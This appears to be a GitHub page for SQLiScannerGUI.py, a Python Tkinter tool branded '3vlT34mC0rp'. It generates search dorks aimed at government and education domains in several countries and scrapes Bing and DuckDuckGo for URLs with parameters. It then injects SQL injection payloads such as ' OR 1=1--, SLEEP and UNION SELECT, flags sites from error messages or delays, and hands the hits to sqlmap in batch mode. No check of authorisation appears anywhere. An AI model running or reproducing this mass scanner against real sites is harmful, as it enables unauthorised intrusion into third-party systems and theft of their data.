-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathSQLiScannerGUI.py
More file actions
2867 lines (2379 loc) · 114 KB
/
SQLiScannerGUI.py
File metadata and controls
2867 lines (2379 loc) · 114 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import requests
import random
import time
import threading
import tkinter as tk
from tkinter import ttk, filedialog, messagebox
from bs4 import BeautifulSoup
from fpdf import FPDF
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import List, Dict, Optional, Set, Tuple
import datetime
import re
import urllib.parse
import subprocess
# Constants
RESULTS_FILE = "sqli_results.txt"
HTML_REPORT = "sqli_report.html"
MAX_WORKERS = 10
REQUEST_DELAY = (1.0, 3.0) # Random delay range between requests
VERBOSE = True # Global verbose flag
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}
class VerboseLogger:
"""Enhanced logging system with verbose output control"""
def __init__(self, text_widget: tk.Text):
self.text_widget = text_widget
self.log_levels = {
"DEBUG": "#AAAAAA",
"INFO": "#FFFFFF",
"SUCCESS": "#00FF00",
"WARNING": "#FFFF00",
"ERROR": "#FF0000",
"CRITICAL": "#FF00FF"
}
def log(self, message: str, level: str = "INFO", component: str = "SYSTEM"):
"""Log a message with timestamp and coloring"""
if not VERBOSE and level == "DEBUG":
return
timestamp = datetime.datetime.now().strftime("%H:%M:%S.%f")[:-3]
color = self.log_levels.get(level, "#FFFFFF")
log_entry = f"[{timestamp}] [{component}] [{level}] {message}\n"
self.text_widget.insert("end", log_entry, level)
self.text_widget.tag_config(level, foreground=color)
self.text_widget.see("end")
self.text_widget.update()
class SQLiScannerGUI:
"""Main GUI application with verbose SQLi scanning"""
def __init__(self, root):
self.root = root
self.root.title("3vlT34mC0rp SQLi Scanner")
self.root.geometry("1200x850")
self.root.iconbitmap("3vl.ico")
self.root.resizable(False, False)
# Initialize verbose logger
self.logger = VerboseLogger(self.setup_ui())
self.logger.log("Application initialized", "INFO", "SYSTEM")
# Core components
self.scanning = False
self.current_scan_thread = None
self.dorks = []
def setup_ui(self) -> tk.Text:
"""Initialize the user interface with clear organization of buttons"""
# Main paned window for resizable panels
main_pane = ttk.PanedWindow(self.root, orient=tk.VERTICAL)
main_pane.pack(fill=tk.BOTH, expand=True)
# Log frame
log_frame = ttk.Frame(main_pane)
main_pane.add(log_frame, weight=1)
# Text widget for logging
log_text = tk.Text(
log_frame,
wrap=tk.WORD,
bg="#121212",
fg="#FFFFFF",
insertbackground="white",
font=("Consolas", 10),
padx=10,
pady=10
)
scrollbar = ttk.Scrollbar(log_frame, command=log_text.yview)
log_text.configure(yscrollcommand=scrollbar.set)
log_text.pack(side=tk.LEFT, fill=tk.BOTH, expand=True)
scrollbar.pack(side=tk.RIGHT, fill=tk.Y)
# Control panel with two rows for buttons
control_frame = ttk.Frame(main_pane)
main_pane.add(control_frame, weight=0)
# First row of buttons (Dork operations)
buttons_row1 = [
("Generate Dorks", self.generate_dorks),
("Save Dorks", self.save_dorks),
("Load Dorks", self.load_dorks)
]
# Second row of buttons (Scan operations + Clear UI)
buttons_row2 = [
("Start Scan", self.start_scan),
("Stop Scan", self.stop_scan),
("Clear UI", self.clear_ui)
]
# Place first row buttons
for col, (text, cmd) in enumerate(buttons_row1):
btn = ttk.Button(control_frame, text=text, command=cmd)
btn.grid(row=0, column=col, padx=5, pady=5, sticky="ew")
# Place second row buttons
for col, (text, cmd) in enumerate(buttons_row2):
btn = ttk.Button(control_frame, text=text, command=cmd)
btn.grid(row=1, column=col, padx=5, pady=5, sticky="ew")
# Configure column weights for even distribution
for i in range(max(len(buttons_row1), len(buttons_row2))):
control_frame.columnconfigure(i, weight=1)
# Status bar
self.status_var = tk.StringVar(value="Ready")
status_bar = ttk.Label(
self.root,
textvariable=self.status_var,
relief=tk.SUNKEN,
anchor=tk.W
)
status_bar.pack(fill=tk.X)
return log_text
def clear_ui(self):
"""Clear the log window and reset status"""
self.logger.text_widget.delete(1.0, tk.END)
self.status_var.set("Ready")
self.logger.log("UI cleared", "INFO", "SYSTEM")
def generate_dorks(self):
"""Generate comprehensive search dorks with multiple categories"""
self.logger.log("Generating advanced dorks...", "INFO", "DORKGEN")
self.dorks = []
generated = 0
# 1. Common Vulnerable Parameters
base_params = ["id", "page", "cat", "category", "product", "view", "user",
"account", "file", "document", "item", "news", "article"]
numeric_params = ["id", "pid", "uid", "num", "page", "item"]
# 2. File Extensions
extensions = {
"Web Scripts": ["php", "asp", "aspx", "jsp", "cfm", "pl", "cgi"],
"Admin Panels": ["admin", "login", "wp-admin", "administrator"],
"Configuration": ["ini", "conf", "config", "bak", "old", "temp"]
}
# 3. Country Specific TLDs (Expanded)
countries = {
"Africa": {
"Ghana": [".edu.gh", ".gov.gh", ".com.gh"],
"Nigeria": [".edu.ng", ".gov.ng", ".com.ng"],
"Kenya": [".edu.ke", ".go.ke", ".co.ke"],
"South Africa": [".ac.za", ".gov.za", ".co.za"]
},
"Other Regions": {
"India": [".edu.in", ".gov.in", ".ac.in"],
"Brazil": [".edu.br", ".gov.br", ".com.br"]
}
}
# 4. Platform-Specific Dorks
platforms = {
"WordPress": ["inurl:wp-content", "inurl:wp-includes", "inurl:wp-admin"],
"Joomla": ["inurl:components/com_", "inurl:templates/"],
"Drupal": ["inurl:sites/default/files", "inurl:?q=user/password"]
}
# 5. Advanced Patterns
advanced_patterns = [
# SQL injection specific
"inurl:index.php?id=",
"inurl:news.php?id=",
"inurl:article.php?id=",
# File inclusion
"inurl:include.php?file=",
"inurl:page.php?file=",
# Authentication bypass
"inurl:admin/login.php",
"inurl:admin/index.php"
]
# Generate Basic Dorks
self.logger.log("Generating basic parameter dorks...", "DEBUG", "DORKGEN")
for param in base_params:
self.dorks.append(f"inurl:{param}=")
generated += 1
# Generate Numeric Parameter Dorks
self.logger.log("Generating numeric parameter dorks...", "DEBUG", "DORKGEN")
for param in numeric_params:
self.dorks.append(f"inurl:{param}=1")
self.dorks.append(f"inurl:{param}='")
generated += 2
# Generate Extension-Based Dorks
self.logger.log("Generating file extension dorks...", "DEBUG", "DORKGEN")
for ext_type, ext_list in extensions.items():
for ext in ext_list:
self.dorks.append(f"filetype:{ext}")
self.dorks.append(f"ext:{ext}")
generated += 2
# Generate Country-Specific Dorks
self.logger.log("Generating country-specific dorks...", "DEBUG", "DORKGEN")
for region, country_data in countries.items():
for country, tlds in country_data.items():
for tld in tlds:
self.dorks.append(f"site:{tld} inurl:index.php?id=")
self.dorks.append(f"site:{tld} inurl:login.php")
generated += 2
# Generate Platform-Specific Dorks
self.logger.log("Generating CMS-specific dorks...", "DEBUG", "DORKGEN")
for platform, patterns in platforms.items():
self.dorks.extend(patterns)
generated += len(patterns)
# Add Advanced Patterns
self.logger.log("Adding advanced patterns...", "DEBUG", "DORKGEN")
self.dorks.extend(advanced_patterns)
generated += len(advanced_patterns)
# Remove duplicates while preserving order
self.dorks = list(dict.fromkeys(self.dorks))
generated = len(self.dorks)
self.logger.log(f"Generated {generated} unique dorks", "SUCCESS", "DORKGEN")
self.status_var.set(f"Dorks generated: {generated}")
# Show sample in verbose mode
if VERBOSE and self.dorks:
categories = {
"Parameter-based": [d for d in self.dorks if "inurl:" in d and "=" in d],
"Filetype-based": [d for d in self.dorks if "filetype:" in d or "ext:" in d],
"Country-specific": [d for d in self.dorks if "site:" in d],
"Platform-specific": [d for d in self.dorks if any(p in d for p in ["wp-", "com_", "?q="])]
}
for cat_name, cat_dorks in categories.items():
if cat_dorks:
sample = "\n".join(f" - {d}" for d in cat_dorks[:3])
self.logger.log(f"{cat_name} samples:\n{sample}", "DEBUG", "DORKGEN")
if len(cat_dorks) > 3:
self.logger.log(f"... plus {len(cat_dorks)-3} more {cat_name.lower()} dorks",
"DEBUG", "DORKGEN")
def save_dorks(self):
"""Save generated dorks to a file"""
if not self.dorks:
self.logger.log("No dorks to save", "WARNING", "DORKSAVE")
messagebox.showwarning("Warning", "No dorks generated to save")
return
file_path = filedialog.asksaveasfilename(
title="Save Dorks To File",
defaultextension=".txt",
filetypes=[("Text Files", "*.txt"), ("All Files", "*.*")]
)
if file_path:
try:
with open(file_path, "w") as f:
f.write("\n".join(self.dorks))
self.logger.log(f"Saved {len(self.dorks)} dorks to {file_path}", "SUCCESS", "DORKSAVE")
messagebox.showinfo("Success", f"Saved {len(self.dorks)} dorks to {file_path}")
except Exception as e:
self.logger.log(f"Error saving dorks: {str(e)}", "ERROR", "DORKSAVE")
messagebox.showerror("Error", f"Failed to save dorks: {str(e)}")
def load_dorks(self):
"""Load dorks from file with proper encoding handling"""
file_path = filedialog.askopenfilename(
title="Select Dorks File",
filetypes=[("Text Files", "*.txt"), ("All Files", "*.*")]
)
if file_path:
try:
# Try UTF-8 first, fall back to other encodings if needed
encodings = ['utf-8', 'latin-1', 'iso-8859-1', 'cp1252']
for encoding in encodings:
try:
with open(file_path, 'r', encoding=encoding) as f:
self.dorks = [line.strip() for line in f if line.strip()]
break
except UnicodeDecodeError:
continue
self.logger.log(f"Loaded {len(self.dorks)} dorks from {file_path}", "SUCCESS", "DORKLOAD")
self.status_var.set(f"Loaded {len(self.dorks)} dorks")
if VERBOSE:
for i, dork in enumerate(self.dorks[:10]): # Show first 10 in verbose mode
self.logger.log(f"Dork {i+1}: {dork}", "DEBUG", "DORKLOAD")
if len(self.dorks) > 10:
self.logger.log(f"... and {len(self.dorks)-10} more", "DEBUG", "DORKLOAD")
except Exception as e:
self.logger.log(f"Error loading dorks: {str(e)}", "ERROR", "DORKLOAD")
messagebox.showerror("Error", f"Failed to load dorks: {str(e)}")
def start_scan(self):
"""Start the scanning process"""
if not self.dorks:
self.logger.log("No dorks loaded - cannot start scan", "ERROR", "SCAN")
messagebox.showwarning("Warning", "No dorks loaded. Generate or load dorks first.")
return
if self.scanning:
self.logger.log("Scan already running", "WARNING", "SCAN")
messagebox.showinfo("Info", "Scan is already running")
return
self.scanning = True
self.logger.log("Starting scan...", "INFO", "SCAN")
self.logger.log(f"Loaded {len(self.dorks)} dorks to process", "INFO", "SCAN")
# Clear previous results
open(RESULTS_FILE, "w").close()
self.logger.log("Cleared previous results file", "DEBUG", "SCAN")
# Start scan thread
self.current_scan_thread = threading.Thread(target=self.run_scan, daemon=True)
self.current_scan_thread.start()
self.status_var.set("Scanning in progress...")
def stop_scan(self):
"""Stop the scan with confirmation logging"""
if self.scanning:
self.scanning = False
self.logger.log("Scan stop requested...", "WARNING", "SCAN")
self.status_var.set("Stopping scan...")
else:
self.logger.log("No active scan to stop", "INFO", "SCAN")
messagebox.showinfo("Info", "No scan is currently running")
def run_scan(self):
"""Main scanning loop that saves targets and prompts for SQLMap"""
try:
total_vulnerable = 0
total_tested = 0
vulnerable_urls = [] # Store vulnerable URLs
for i, dork in enumerate(self.dorks):
if not self.scanning:
break
self.logger.log(f"\nProcessing dork {i+1}/{len(self.dorks)}: {dork}", "INFO", "SCAN")
self.status_var.set(f"Processing dork {i+1}/{len(self.dorks)}...")
# Search for URLs
start_time = time.time()
urls = self.hybrid_search(dork)
search_time = time.time() - start_time
if urls:
self.logger.log(f"Found {len(urls)} potential targets in {search_time:.2f}s", "SUCCESS", "SCAN")
# Test the URLs
start_test = time.time()
vulnerable = self.test_urls(urls)
test_time = time.time() - start_test
total_vulnerable += vulnerable
total_tested += len(urls)
self.logger.log(
f"Tested {len(urls)} URLs in {test_time:.2f}s - Found {vulnerable} vulnerable",
"INFO", "SCAN"
)
else:
self.logger.log("No targets found for this dork", "WARNING", "SCAN")
# Delay between dorks
delay = random.uniform(*REQUEST_DELAY)
self.logger.log(f"Waiting {delay:.2f}s before next dork...", "DEBUG", "SCAN")
time.sleep(delay)
# Save all vulnerable URLs to file
self.save_vulnerable_targets()
# Scan completion summary
self.logger.log(
f"\nScan completed. Tested {total_tested} URLs total. Found {total_vulnerable} vulnerable.",
"SUCCESS" if total_vulnerable > 0 else "INFO",
"SCAN"
)
self.status_var.set(
f"Scan complete - {total_vulnerable} vulnerabilities found" if total_vulnerable > 0
else "Scan complete - no vulnerabilities found"
)
# Prompt to run SQLMap if vulnerabilities found
if total_vulnerable > 0:
self.prompt_for_sqlmap()
except Exception as e:
self.logger.log(f"Scan error: {str(e)}", "ERROR", "SCAN")
messagebox.showerror("Error", f"Scan failed: {str(e)}")
finally:
self.scanning = False
if self.current_scan_thread.is_alive():
self.current_scan_thread.join()
def save_vulnerable_targets(self):
"""Save all vulnerable URLs to a file"""
try:
with open(RESULTS_FILE, "r") as f:
vulnerable_urls = [line.split('\t')[0] for line in f if line.strip()]
if vulnerable_urls:
with open("vulnerable_targets.txt", "w") as f:
f.write("\n".join(vulnerable_urls))
self.logger.log(f"Saved {len(vulnerable_urls)} vulnerable targets to vulnerable_targets.txt", "SUCCESS", "SCAN")
except Exception as e:
self.logger.log(f"Error saving vulnerable targets: {str(e)}", "ERROR", "SCAN")
def prompt_for_sqlmap(self):
"""Ask user if they want to run SQLMap on found vulnerabilities"""
response = messagebox.askyesno(
"SQLMap Integration",
"Vulnerable targets found. Would you like to run SQLMap on these targets?",
parent=self.root
)
if response:
self.run_sqlmap()
def run_sqlmap(self):
"""Execute SQLMap on the found vulnerable targets"""
try:
if not os.path.exists("vulnerable_targets.txt"):
messagebox.showerror("Error", "No vulnerable targets file found")
return
# Basic SQLMap command (customize as needed)
sqlmap_cmd = [
"sqlmap",
"-m", "vulnerable_targets.txt",
"--batch", # Non-interactive mode
"--level=3", # Test level
"--risk=2" # Risk level
]
self.logger.log("Starting SQLMap with command:", "INFO", "SQLMAP")
self.logger.log(" ".join(sqlmap_cmd), "DEBUG", "SQLMAP")
# Run SQLMap in a separate thread to avoid freezing the GUI
threading.Thread(
target=self.execute_sqlmap,
args=(sqlmap_cmd,),
daemon=True
).start()
except Exception as e:
self.logger.log(f"Error starting SQLMap: {str(e)}", "ERROR", "SQLMAP")
messagebox.showerror("Error", f"Failed to start SQLMap: {str(e)}")
def execute_sqlmap(self, cmd):
"""Execute SQLMap command and capture output"""
try:
process = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
universal_newlines=True
)
# Stream output to log
for line in process.stdout:
self.logger.log(line.strip(), "INFO", "SQLMAP")
process.wait()
if process.returncode == 0:
self.logger.log("SQLMap completed successfully", "SUCCESS", "SQLMAP")
else:
self.logger.log(f"SQLMap failed with return code {process.returncode}", "ERROR", "SQLMAP")
except Exception as e:
self.logger.log(f"Error during SQLMap execution: {str(e)}", "ERROR", "SQLMAP")
def hybrid_search(self, dork: str) -> List[str]:
"""Search using multiple engines with verbose output"""
self.logger.log(f"Initiating hybrid search for: {dork}", "DEBUG", "SEARCH")
urls = set()
engines = [
("Bing", self.search_bing),
("DuckDuckGo", self.search_duckduckgo)
]
for engine_name, engine_func in engines:
if not self.scanning:
break
self.logger.log(f"Searching with {engine_name}...", "INFO", "SEARCH")
try:
start_time = time.time()
results = engine_func(dork)
search_time = time.time() - start_time
new_urls = len(results) - len(urls.intersection(results))
urls.update(results)
self.logger.log(
f"{engine_name} found {len(results)} URLs ({new_urls} new) in {search_time:.2f}s",
"INFO", "SEARCH"
)
if VERBOSE and results:
for url in results[:3]:
self.logger.log(f"Found URL: {url}", "DEBUG", "SEARCH")
if len(results) > 3:
self.logger.log(f"... and {len(results)-3} more", "DEBUG", "SEARCH")
except Exception as e:
self.logger.log(f"{engine_name} search failed: {str(e)}", "ERROR", "SEARCH")
return list(urls)
def search_bing(self, dork: str, pages: int = 2) -> List[str]:
"""Search Bing without proxies"""
urls = set()
base_url = "https://www.bing.com/search"
for page in range(pages):
if not self.scanning:
break
query = {
"q": dork,
"first": page * 10
}
search_url = f"{base_url}?{urllib.parse.urlencode(query)}"
self.logger.log(f"Fetching Bing page {page+1}: {search_url}", "DEBUG", "BING")
try:
response = requests.get(
search_url,
headers=HEADERS,
timeout=10
)
if response.status_code == 200:
soup = BeautifulSoup(response.text, "html.parser")
found = 0
for link in soup.find_all("a", href=True):
url = link["href"]
if self.is_potential_target(url):
clean_url = self.clean_url(url)
if clean_url not in urls:
urls.add(clean_url)
found += 1
if VERBOSE:
self.logger.log(f"New target found: {clean_url}", "DEBUG", "BING")
self.logger.log(f"Page {page+1}: Found {found} new targets", "INFO", "BING")
else:
self.logger.log(f"Bing returned status {response.status_code}", "WARNING", "BING")
# Delay between pages
delay = random.uniform(*REQUEST_DELAY)
time.sleep(delay)
except Exception as e:
self.logger.log(f"Bing search error: {str(e)}", "ERROR", "BING")
continue
return list(urls)
def search_duckduckgo(self, dork: str, pages: int = 2) -> List[str]:
"""Search DuckDuckGo without proxies"""
urls = set()
base_url = "https://html.duckduckgo.com/html/"
for page in range(pages):
if not self.scanning:
break
query = {
"q": dork,
"s": page * 30,
"dc": str(page + 1)
}
self.logger.log(f"Fetching DuckDuckGo page {page+1}", "DEBUG", "DDG")
try:
response = requests.post(
base_url,
data=query,
headers=HEADERS,
timeout=10
)
if response.status_code == 200:
soup = BeautifulSoup(response.text, "html.parser")
found = 0
for link in soup.find_all("a", class_="result__url"):
url = link["href"]
if url.startswith("//"):
url = "https:" + url
if self.is_potential_target(url):
clean_url = self.clean_url(url)
if clean_url not in urls:
urls.add(clean_url)
found += 1
if VERBOSE:
self.logger.log(f"New target found: {clean_url}", "DEBUG", "DDG")
self.logger.log(f"Page {page+1}: Found {found} new targets", "INFO", "DDG")
else:
self.logger.log(f"DuckDuckGo returned status {response.status_code}", "WARNING", "DDG")
# Delay between pages
delay = random.uniform(*REQUEST_DELAY)
time.sleep(delay)
except Exception as e:
self.logger.log(f"DuckDuckGo search error: {str(e)}", "ERROR", "DDG")
continue
return list(urls)
def test_urls(self, urls: List[str]) -> int:
"""Test URLs for SQLi with detailed progress reporting"""
vulnerable_count = 0
total_urls = len(urls)
self.logger.log(f"Beginning SQLi tests for {total_urls} URLs", "INFO", "TESTER")
with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
futures = {}
for i, url in enumerate(urls):
if not self.scanning:
break
futures[executor.submit(self.test_sql_injection, url)] = url
# Progress update every 10 URLs
if VERBOSE and i % 10 == 0 and i > 0:
self.logger.log(f"Submitted {i}/{total_urls} URLs for testing", "DEBUG", "TESTER")
# Process completed tests
for i, future in enumerate(as_completed(futures)):
if not self.scanning:
executor.shutdown(wait=False)
break
url = futures[future]
try:
result = future.result()
if result:
vulnerable_count += 1
self.logger.log(f"Vulnerability confirmed: {url}", "SUCCESS", "TESTER")
else:
if VERBOSE:
self.logger.log(f"Test completed: {url} - Not vulnerable", "DEBUG", "TESTER")
except Exception as e:
self.logger.log(f"Test failed for {url}: {str(e)}", "ERROR", "TESTER")
# Progress update
if (i + 1) % 10 == 0 or (i + 1) == len(urls):
self.logger.log(
f"Progress: {i+1}/{total_urls} tested - {vulnerable_count} vulnerable",
"INFO", "TESTER"
)
self.status_var.set(
f"Testing: {i+1}/{total_urls} - {vulnerable_count} vulns found"
)
return vulnerable_count
def test_sql_injection(self, url: str) -> bool:
"""Test a single URL for SQLi with detailed payload testing"""
if not self.scanning:
return False
self.logger.log(f"Testing URL: {url}", "DEBUG", "TESTER")
# Standard SQLi payloads
payloads = [
("Single quote", "'"),
("Double quote", "\""),
("OR 1=1", "' OR '1'='1"),
("OR 1=1 comment", "' OR 1=1--"),
("OR 1=1 hash", "' OR 1=1#"),
("Boolean blind", "' AND 1=CONVERT(int,@@version)--"),
("Time delay", "' OR IF(1=1,SLEEP(5),0)--"),
("Union test", "' UNION SELECT 1,2,3--")
]
for name, payload in payloads:
if not self.scanning:
return False
test_url = self.inject_payload(url, payload)
self.logger.log(f"Trying payload '{name}': {test_url}", "DEBUG", "TESTER")
try:
start_time = time.time()
response = requests.get(
test_url,
headers=HEADERS,
timeout=10
)
response_time = time.time() - start_time
# Check for SQL errors
if self.detect_sql_errors(response.text):
self.logger.log(
f"Potential SQLi found with payload '{name}' - Response time: {response_time:.2f}s",
"SUCCESS", "TESTER"
)
# Save the vulnerable URL with payload info
with open(RESULTS_FILE, "a") as f:
f.write(f"{url}\tPayload: {name} ({payload})\n")
return True
# Check for time-based blind SQLi
if "Time delay" in name and response_time > 4:
self.logger.log(
f"Potential time-based blind SQLi (delay {response_time:.2f}s)",
"SUCCESS", "TESTER"
)
with open(RESULTS_FILE, "a") as f:
f.write(f"{url}\tBlind SQLi (time delay) with payload: {payload}\n")
return True
# Small delay between payloads
time.sleep(0.5)
except Exception as e:
self.logger.log(f"Payload test failed: {str(e)}", "ERROR", "TESTER")
continue
return False
def inject_payload(self, url: str, payload: str) -> str:
"""Inject a payload into the URL parameters"""
if "?" in url:
base, params = url.split("?", 1)
param_pairs = params.split("&")
injected_params = []
for pair in param_pairs:
if "=" in pair:
key, value = pair.split("=", 1)
injected_params.append(f"{key}={value}{payload}")
else:
injected_params.append(pair)
return f"{base}?{'&'.join(injected_params)}"
else:
return f"{url}?{payload}"
def detect_sql_errors(self, response_text: str) -> bool:
"""Check response text for SQL error patterns"""
error_patterns = [
"sql syntax",
"mysql_fetch",
"ORA-",
"syntax error",
"unclosed quotation mark",
"quoted string not properly terminated",
"odbc microsoft access driver",
"sqlserver",
"mysql error",
"postgresql error",
"syntax error near",
"unexpected end of sql command",
"sql command not properly ended",
"warning: mysql",
"sqlite exception",
"pdoexception"
]
text_lower = response_text.lower()
return any(error in text_lower for error in error_patterns)
def is_potential_target(self, url: str) -> bool:
"""Check if URL looks like a potential SQLi target"""
if not url.startswith(('http://', 'https://')):
return False
# Skip common static file extensions
static_extensions = ['.pdf', '.jpg', '.png', '.css', '.js', '.svg']
if any(url.lower().endswith(ext) for ext in static_extensions):
return False
# Look for common vulnerable patterns
vulnerable_patterns = ['?id=', '?page=', '?user=', '?cat=', '?product=']
return any(pattern in url.lower() for pattern in vulnerable_patterns)
def clean_url(self, url: str) -> str:
"""Clean and normalize URL"""
# Remove fragments and common tracking parameters
url = url.split('#')[0]
for param in ['utm_', 'fbclid', 'gclid', 'sessionid']:
url = re.sub(f'[&?]{param}=[^&]*', '', url)
return url
# def export_html(self):
# """Export results to HTML report"""
# try:
# with open(RESULTS_FILE, "r") as f:
# results = [line.strip().split("\t") for line in f if line.strip()]
# if not results:
# messagebox.showinfo("Info", "No results to export")
# return
# html = """<!DOCTYPE html>
# <html lang="en">
# <head>
# <meta charset="UTF-8">
# <title>SQL Injection Scan Report</title>
# <style>
# body { font-family: Arial, sans-serif; margin: 20px; }
# h1 { color: #333; }
# table { border-collapse: collapse; width: 100%; }
# th, td { border: 1px solid #ddd; padding: 8px; text-align: left; }
# th { background-color: #f2f2f2; }
# tr:nth-child(even) { background-color: #f9f9f9; }
# .vulnerable { color: red; font-weight: bold; }
# </style>
# </head>
# <body>
# <h1>SQL Injection Scan Report</h1>
# <p>Generated on {datetime}</p>
# <table>
# <tr>
# <th>URL</th>
# <th>Payload</th>
# <th>Status</th>
# </tr>
# """.format(datetime=datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
# for result in results:
# url = result[0]
# payload = result[1] if len(result) > 1 else "N/A"
# html += f"""
# <tr>
# <td><a href="{url}" target="_blank">{url}</a></td>
# <td>{payload}</td>
# <td class="vulnerable">Vulnerable</td>
# </tr>
# """
# html += """
# </table>
# </body>
# </html>
# """
# with open(HTML_REPORT, "w") as f:
# f.write(html)
# self.logger.log(f"HTML report saved to {HTML_REPORT}", "SUCCESS", "EXPORT")
# messagebox.showinfo("Success", f"HTML report saved to {HTML_REPORT}")
# except Exception as e:
# self.logger.log(f"Error exporting HTML: {str(e)}", "ERROR", "EXPORT")
# messagebox.showerror("Error", f"Failed to export HTML: {str(e)}")
# def export_pdf(self):
# """Export results to PDF report"""
# try:
# pdf = FPDF()
# pdf.add_page()
# pdf.set_font("Arial", size=12)
# # Title
# pdf.cell(200, 10, txt="SQL Injection Scan Report", ln=True, align="C")
# pdf.ln(10)
# # Date
# pdf.set_font("", size=10)
# pdf.cell(200, 10, txt=f"Generated on: {datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}", ln=True)
# pdf.ln(10)
# # Results
# pdf.set_font("", "B", size=12)
# pdf.cell(200, 10, txt="Vulnerable URLs:", ln=True)
# pdf.set_font("", size=10)
# try:
# with open(RESULTS_FILE, "r") as f:
# for line in f:
# if line.strip():
# parts = line.strip().split("\t")
# url = parts[0]
# payload = parts[1] if len(parts) > 1 else ""
# pdf.multi_cell(0, 10, txt=f"URL: {url}\nPayload: {payload}\n", border=0)
# pdf.ln(2)
# except FileNotFoundError:
# pdf.multi_cell(0, 10, txt="No results found", border=0)
# # Save dialog
# file_path = filedialog.asksaveasfilename(
# defaultextension=".pdf",
# filetypes=[("PDF Files", "*.pdf")],
# title="Save PDF Report"
# )
# if file_path:
# pdf.output(file_path)
# self.logger.log(f"PDF report saved to {file_path}", "SUCCESS", "EXPORT")
# messagebox.showinfo("Success", f"PDF report saved to {file_path}")
# except Exception as e:
# self.logger.log(f"Error exporting PDF: {str(e)}", "ERROR", "EXPORT")
# messagebox.showerror("Error", f"Failed to export PDF: {str(e)}")
if __name__ == "__main__":
root = tk.Tk()
app = SQLiScannerGUI(root)
root.mainloop()
# import requests
# import random
# import time
# import threading
# import tkinter as tk
# from tkinter import ttk, filedialog, messagebox
# from bs4 import BeautifulSoup
# from fpdf import FPDF
# from concurrent.futures import ThreadPoolExecutor, as_completed
# from typing import List, Dict, Optional, Set, Tuple
# import datetime
# import json
# from pathlib import Path
# import urllib.parse
# import re
# from typing import List
# # Constants
# CONFIG_FILE = "scanner_config.json"
# HEADERS = {
# "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
# }
# PROXY_SOURCES = [
